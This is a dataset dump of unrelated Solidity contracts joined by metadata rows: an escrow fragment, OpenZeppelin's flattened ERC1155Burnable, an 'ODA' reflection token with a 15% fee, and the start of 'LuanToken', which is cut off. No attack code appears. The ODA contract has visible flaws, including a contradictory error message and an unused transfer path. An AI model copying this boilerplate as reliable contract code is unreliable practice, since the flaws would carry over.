transferMinusFees(_seller, _value, _gasFees, 0);
return true;
}
uint16 constant GAS_doSellerRequestCancel = 29507;
function doSellerRequestCancel(bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas) private returns (bool) {
// Called on unlimited payment window trades where the buyer is not responding
Escrow memory _escrow;
bytes32 _tradeHash;
(_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) {
return false;
}
if(_escrow.sellerCanCancelAfter != 1) {
return false;
}
escrows[_tradeHash].sellerCanCancelAfter = uint32(block.timestamp) // solium-disable-line
+ requestCancellationMinimumTime;
emit SellerRequestedCancel(_tradeHash);
if (msg.sender == relayer) {
increaseGasSpent(_tradeHash, GAS_doSellerRequestCancel + _additionalGas);
}
return true;
}
function getRelayedSender(bytes16 _tradeID,
uint8 _instructionByte,
uint128 _maximumGasPrice,
uint8 _v,
bytes32 _r,
bytes32 _s) private pure returns (address) {
bytes32 _hash = keccak256(abi.encodePacked(_tradeID,
_instructionByte,
_maximumGasPrice));
return recoverAddress(_hash, _v, _r, _s);
}
function getEscrowAndHash(bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee) private view returns (Escrow storage, bytes32) {
bytes32 _tradeHash = keccak256(abi.encodePacked(_tradeID,
_seller,
_buyer,
_value,
_fee));
return (escrows[_tradeHash], _tradeHash);
}
function recoverAddress(bytes32 _h,
uint8 _v,
bytes32 _r,
bytes32 _s) private pure returns (address) {
bytes memory _prefix = "\x19Ethereum Signed Message:\n32";
bytes32 _prefixedHash = keccak256(abi.encodePacked(_prefix, _h));
return ecrecover(_prefixedHash, _v, _r, _s);
}
}
| 244,572 | 12,270 |
4b8b4331ff5a546dd637326594e4de6c8e486ddf8572437ee99d2167aefa6bbd
| 43,405 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
openzeppelin-contracts-upgradeable/token/ERC1155/extensions/ERC1155BurnableUpgradeable_flat.sol
| 5,011 | 20,209 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC1155/extensions/ERC1155Burnable.sol)
pragma solidity ^0.8.0;
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC1155/ERC1155.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC1155/IERC1155.sol)
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
interface IERC165Upgradeable {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC1155Upgradeable is IERC165Upgradeable {
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
event TransferBatch(address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values);
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
function balanceOf(address account, uint256 id) external view returns (uint256);
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
function setApprovalForAll(address operator, bool approved) external;
function isApprovedForAll(address account, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data) external;
function safeBatchTransferFrom(address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data) external;
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
interface IERC1155ReceiverUpgradeable is IERC165Upgradeable {
function onERC1155Received(address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data) external returns (bytes4);
function onERC1155BatchReceived(address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data) external returns (bytes4);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
interface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable {
function uri(uint256 id) external view returns (string memory);
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
}
function __ERC165_init_unchained() internal onlyInitializing {
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
contract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable {
using AddressUpgradeable for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
string private _uri;
function __ERC1155_init(string memory uri_) internal onlyInitializing {
__ERC1155_init_unchained(uri_);
}
function __ERC1155_init_unchained(string memory uri_) internal onlyInitializing {
_setURI(uri_);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC1155Upgradeable).interfaceId ||
interfaceId == type(IERC1155MetadataURIUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: address zero is not a valid owner");
return _balances[id][account];
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
function safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) public virtual override {
require(from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not token owner or approved");
_safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) public virtual override {
require(from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not token owner or approved");
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
function _safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_afterTokenTransfer(operator, from, to, ids, amounts, data);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
function _safeBatchTransferFrom(address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_afterTokenTransfer(operator, from, to, ids, amounts, data);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
function _mint(address to,
uint256 id,
uint256 amount,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_afterTokenTransfer(operator, address(0), to, ids, amounts, data);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
function _mintBatch(address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_afterTokenTransfer(operator, address(0), to, ids, amounts, data);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
function _burn(address from,
uint256 id,
uint256 amount) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
_afterTokenTransfer(operator, from, address(0), ids, amounts, "");
}
function _burnBatch(address from,
uint256[] memory ids,
uint256[] memory amounts) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
_afterTokenTransfer(operator, from, address(0), ids, amounts, "");
}
function _setApprovalForAll(address owner,
address operator,
bool approved) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _beforeTokenTransfer(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {}
function _afterTokenTransfer(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {}
function _doSafeTransferAcceptanceCheck(address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) private {
if (to.isContract()) {
try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155ReceiverUpgradeable.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non-ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) private {
if (to.isContract()) {
try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155ReceiverUpgradeable.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non-ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
uint256[47] private __gap;
}
abstract contract ERC1155BurnableUpgradeable is Initializable, ERC1155Upgradeable {
function __ERC1155Burnable_init() internal onlyInitializing {
}
function __ERC1155Burnable_init_unchained() internal onlyInitializing {
}
function burn(address account,
uint256 id,
uint256 value) public virtual {
require(account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not token owner or approved");
_burn(account, id, value);
}
function burnBatch(address account,
uint256[] memory ids,
uint256[] memory values) public virtual {
require(account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not token owner or approved");
_burnBatch(account, ids, values);
}
uint256[50] private __gap;
}
| 63,310 | 12,271 |
b9c52384add237256c05de50d27f261a9cf75c4500e54f24c40e0f3184f0f9db
| 22,567 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/35/353a10b1aa596846fc7b6f009268eacfbc350767_ODA.sol
| 4,228 | 15,899 |
//Le mot trouver est li une plante et la desse du farming
//Les snipers, c'est un contrat inutile il sert rien
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ODA is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'ODA';
string private _symbol = 'ODA';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(15);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 92,924 | 12,272 |
d37b1d6d75c7e149eb523cca889360a1b7911d1a27a8af95747a7d8415496284
| 29,536 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/cb/cba3307c80ba758c5a0f0bfdcf1e3029b5c473d8_LuanToken.sol
| 3,018 | 12,754 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
